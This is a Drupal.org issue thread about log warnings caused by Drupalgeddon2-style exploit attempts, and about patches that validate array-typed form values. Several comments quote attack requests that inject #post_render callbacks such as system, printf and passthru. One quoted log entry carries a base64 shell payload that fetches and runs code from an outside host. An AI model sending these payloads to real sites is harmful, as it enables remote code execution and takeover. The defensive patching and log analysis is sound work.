Support for Drupal 7 is ending on 5 January 2025—it’s time to migrate to Drupal 10! Learn about the many benefits of Drupal 10 and find migration tools in our resource center.
For weeks, tons of notices/warnings like the following in the Drupal watchdog:
472306 25/May 11:29 php notice Notice: Undefined index: #prefix in file_ajax_upload() (line 287 of /var/www/html/modules/file/file.module). 472305 25/May 11:29 php notice Notice: Undefined index: #suffix in file_ajax_upload() (line 284 of /var/www/html/modules/file/file.module). 472304 25/May 11:29 php warning Warning: trim() expects parameter 1 to be string, array given in user_pass_validate() (line 69 of /var/www/html/modules/user/user.pages.inc). 472303 25/May 11:29 php warning Warning: mb_strlen() expects parameter 1 to be string, array given in drupal_strlen() (line 482 of /var/www/html/includes/unicode.inc). 472302 25/May 09:33 php warning Warning: trim() expects parameter 1 to be string, array given in user_pass_validate() (line 69 of /var/www/html/modules/user/user.pages.inc). 472301 25/May 09:33 php warning Warning: mb_strlen() expects parameter 1 to be string, array given in drupal_strlen() (line 482 of /var/www/html/includes/unicode.inc). 472300 25/May 09:08 php notice Notice: Undefined index: #prefix in file_ajax_upload() (line 287 of /var/www/html/modules/file/file.module). 472299 25/May 09:08 php notice Notice: Undefined index: #suffix in file_ajax_upload() (line 284 of /var/www/html/modules/file/file.module). 472298 25/May 09:08 php warning Warning: trim() expects parameter 1 to be string, array given in user_pass_validate() (line 69 of /var/www/html/modules/user/user.pages.inc).
Looking at the requests from the web server logs, these entries look to be due to attempts to exploit SA-CORE-2018-002 and SA-CORE-2018-004. The fixes for those vulnerabilities should handle things more gracefully and not give notices/warnings, right?
All these notices/warnings for normal operation are masking notices/warnings the administrator may want to observe.
Comments
Comment #2
AohRveTPV CreditAttribution: AohRveTPV commentedComment #3
AohRveTPV CreditAttribution: AohRveTPV commentedComment #4
AohRveTPV CreditAttribution: AohRveTPV commentedComment #5
Bakidok CreditAttribution: Bakidok commentedSame here. Drupal updated to 7.59.
Comment #6
parasolx CreditAttribution: parasolx commentedMe too. Facing a lot of notice in watchdog with the query as per below:
user/password&name[%23post_render][]=system&name[%23markup]=ps%20x&name[%23type]=markup
This might be an attempt to gain access to try to log in using the fake username.
The error provided by the watchdog as per below:
Warning: mb_strlen() expects parameter 1 to be string, array given in drupal_strlen() (line 482 of /var/www/includes/unicode.inc).
And it also produce additional notice as per below:
Warning: trim() expects parameter 1 to be string, array given in user_pass_validate() (line 69 of /var/www/modules/user/user.pages.inc).
Comment #7
joelpittetIt would be nice to clean up the logs, setting this to the 7.x branch as that is where the work will take place.
Comment #8
dhruveshdtripathi CreditAttribution: dhruveshdtripathi as a volunteer commentedGetting the same messages in log. Any update on this?
Comment #9
richardp CreditAttribution: richardp commentedJust started getting these as well.
I know editing Drupal core code is frowned upon, but I might have to go in and add a @ before the relevant commands, just to not clutter up my logs.
Is there anything else which should be done?
Comment #10
cprajwal85 CreditAttribution: cprajwal85 commentedI am facing the same issue.
Is it good to ignore the issue or do we need to tackle it in some way?
I am worried because in the above thread it is said that it is to exploit SA-CORE-2018-002 and SA-CORE-2018-004
Comment #11
gngn CreditAttribution: gngn at Computer Manufaktur GmbH commentedSince the mentioned security updates took care of the attack I think it is save to "ignore" the warnings by somehow testing for valid elements.
There is a D8 issue #2973871 which proposes
Maybe we could do something similiar in D7 (like proposed by Rob C in the user_registrationpassword issue #2991083)?
Comment #12
loftx2 CreditAttribution: loftx2 as a volunteer commentedI’ve done some investigation specifically into the following message:
Warning: trim() expects parameter 1 to be string, array given in user_pass_validate() (line 69 of /home/user/public_html/modules/user/user.pages.inc).
This is caused when the user form value from the registration form is passed as an array. This sets
$form_state['values']['name']
to an array which is passed to user_pass_validate in user.pages.inc. The error then occurs on the line$name = trim($form_state['values']['name'])
; as the trim function can’t be called on arrays.The error can be reproduced with the following request:
curl -g --data "form_id=user_pass&_triggering_element_name=name" "https://www.example.com/?q=/user/password&name[%23post_render][0]=printf&name[%23markup]=ABCZ"
I believe the solution is as gngn mentions to check if
$form_state['values']['name']
is a string and only perform these checks if it is. If it’s not a string I’m not completely sure what the best response is, but I’ve gone for raising an error ‘An illegal value has been detected. Please contact the site administrator.’Please find a patch attached for testing. Please note it only resolves this single error, there are further errors which I will review separately.
Comment #13
loftx2 CreditAttribution: loftx2 as a volunteer commentedFurther to comment #12, I've looked into the following notices
These originate in
file_ajax_upload()
where the form array#prefix
and#suffix
keys are appended to when the don't exist in the current form.The issue can be reproduced with the following:
curl -kg --data "form_build_id=form-yRJ3qIMgusY4thZ9gQCubKoZbgsgWQbcHRmEXNWIa3w" "https://www.example.com/?q=file/ajax/name/%23value/form-yRJ3qIMgusY4thZ9gQCubKoZbgsgWQbcHRmEXNWIa3w"
Where the form build id must be replaced by one already in the form cache (e.g. by running
curl -g --data "form_id=user_pass&_triggering_element_name=name" "https://www.example.com/?q=/user/password&name[%23post_render][0]=printf&name[%23markup]=ABCZ"
and using the form_build_id in response).If the form in the case has a #prefix and a #suffix set, there won't be any error, but if it doesn't (e.g. the password form), the notices will be shown.
Looking at the form API docs, it doesn't look like #prefix and #suffix are required, so I believe the relevant fix is to check for these in file_ajax_upload() and add empty values for them prior to where they're manipulated.
I've attached a patch which does this - please note that this is a change to a reasonably important part of the Ajax functionality, so please test this thoroughly against any ajax form functionality before applying in production.
Comment #14
loftx2 CreditAttribution: loftx2 as a volunteer commentedFuther to the above I've looked into the
mb_strlen() expects parameter 1 to be string, array given in drupal_strlen() (line 482 of /var/www/html/includes/unicode.inc).
warnings.These originate in
_form_validate
wheredrupal_strlen()
is used to check if the length of an element value is greater than the maxlength allows.As
$elements['#value']
can be an array rather than a string at this point, the above warnings are generated when the value is an array and can be reproduced with the following:curl -g --data "form_id=user_pass&_triggering_element_name=name" "https://www.example.com/?q=/user/password&name[%23post_render][0]=printf&name[%23markup]=ABCZ"
My suggested fix is to first check if the value is a string, and if not call
form_error
.I've attached a patch for this - again please note this (very slightly) alters a core part of the forms API so be careful before using this in production.
Comment #15
loftx2 CreditAttribution: loftx2 as a volunteer commentedThe patches in the comments above resolve all the errors raised in the original issue so I've attached a single patch containing the changes in the other 3.
Could anyone with knowledge of these areas of Drupal 7 please review the patch and let me know their thoughts/feedback?
Comment #16
MegaChriz CreditAttribution: MegaChriz at WebCoo commentedIs it possible that
$elements['#value']
can be an integer? If so, a check foris_scalar()
would be better.Coding standards.
else
needs to be on the following line.else if
needs to beelseif
.I think the code would be more readable if bailing out early.
For example:
Comment #17
joelpittetThanks for the review @MegaChriz. I'm not totally sure this needs tests but agree with the rest of the review and have done up the changes in this patch.
Comment #18
joelpittetI did run into issues when values are "legally" NULL. So here's another patch that checks that the values
isset()
before it checks for scalar values.Comment #19
DanChadwick CreditAttribution: DanChadwick commentedI also get:
From:
https://example.com/?q=user/password&name[%23post_render][]=passthru&name[%23type]=markup&name[%23markup]=echo%20-n%20%27cGtpbGwgLTkgLWYgIlwuXC8uK1xzXC5cL3xuc3NtfGlwdGFibGVzfGJhc2h8c3lzbG9nfFwuY3JvbnxcIVwhfFxbXiI7Y3VybCAtbSA2MCAtc2sgJ2h0dHA6Ly9lMDZiMTQ4Mi5uZ3Jvay5pby9mL3NlcnZlP2w9dSZyPWIxZjJlMDBkOGUwMDZiN2YxNGViZGQ1NTllOThlZDNmJmN1cmw9MScgfCBzaA==%27%20|%20base64%20-d%20|%20sh
These precede each:
Comment #20
parasolx CreditAttribution: parasolx commentedApplied patch #18 on one of my production site, its totally eliminate both warning errors completely as per below:
Warning: mb_strlen() expects parameter 1 to be string, array given in drupal_strlen() (line 482 of /var/www/html/includes/unicode.inc).
Warning: trim() expects parameter 1 to be string, array given in user_pass_validate() (line 69 of /var/www/html/modules/user/user.pages.inc).
I will try to apply same patch on other production site.
Comment #21
Rob C CreditAttribution: Rob C commentedRunning #18 on production for more than a week now. Looks good so far.
(Added a similar patch to #2991083: PHP trim() warning in _user_registrationpassword_user_pass_validate(), when this patch is committed to core i'll commit that to the module, so it matches core again.)
Comment #22
darkodev CreditAttribution: darkodev commentedAny thoughts on blocking these known exploit patterns before Drupal in .htaccess?
After applying the patch in #18, testing with known curl exploits the previous errors are not logged, but a new one is logged:
"Invalid form POST data."
I've seen modsec solutions, but they were found to be insufficient eg. https://twitter.com/CoreRuleSet/status/979198633441681408
Comment #23
darkodev CreditAttribution: darkodev commented#18 applies cleanly to 7.65
Thanks again, Joel!
Comment #24
darkodev CreditAttribution: darkodev commentedComment #25
darkodev CreditAttribution: darkodev commentedAlso works with PHP 5.3.3
Comment #26
MustangGB CreditAttribution: MustangGB commentedNot the sort of thing that really needs built-in tests I feel, the curl's from #12, #13, and #14 were enough for manual testing, and the patch indeed behaves as intended, and the changes look fine to me.
+RTBC
Comment #27
mcdruidComment #28
joseph.olstadComment #29
joseph.olstadComment #30
SergFromSD CreditAttribution: SergFromSD commentedI'm seeing this issues on Drupal 7.67. Was this patch not included in 7.67
Comment #31
joseph.olstad@mcdruid, can you please add patch 18 in before tomorrows release?
Comment #32
joseph.olstadComment #33
MustangGB CreditAttribution: MustangGB commentedComment #34
chegor CreditAttribution: chegor as a volunteer commentedTested. Looks ok.
Comment #35
anrikun CreditAttribution: anrikun commentedPlease @mcdruid add this patch to next release.
Comment #36
solideogloria CreditAttribution: solideogloria commentedAgreed. Please add the patch to Core.
Comment #37
joseph.olstadComment #38
solideogloria CreditAttribution: solideogloria commentedComment #39
MustangGB CreditAttribution: MustangGB commentedComment #40
izmeez CreditAttribution: izmeez commentedPleading to the maintainers goes on and on. Please, oh please, commit this to clean up everyone's logs.
Comment #41
mcdruidUploading #18 again so we can have a clean set of tests.
Comment #42
mcdruidI think this looks pretty good.
I'm wondering whether there's more we could do in file_ajax_upload() to reject the malicious / malformed requests (the patch sets form errors in the other two functions).
I'm trying to investigate that a little further, but I'd be happy to commit this as it is and pursue the above further in a follow up.
Comment #43
mcdruidComment #44
joseph.olstadthumbs up, looks very good!
Comment #45
Fabianx CreditAttribution: Fabianx as a volunteer and at Tag1 Consulting commentedRTBM, +1 from me for merge
Comment #47
mcdruidThanks everyone!
Comment #48
solideogloria CreditAttribution: solideogloria commentedYay! 🎉 Thank you!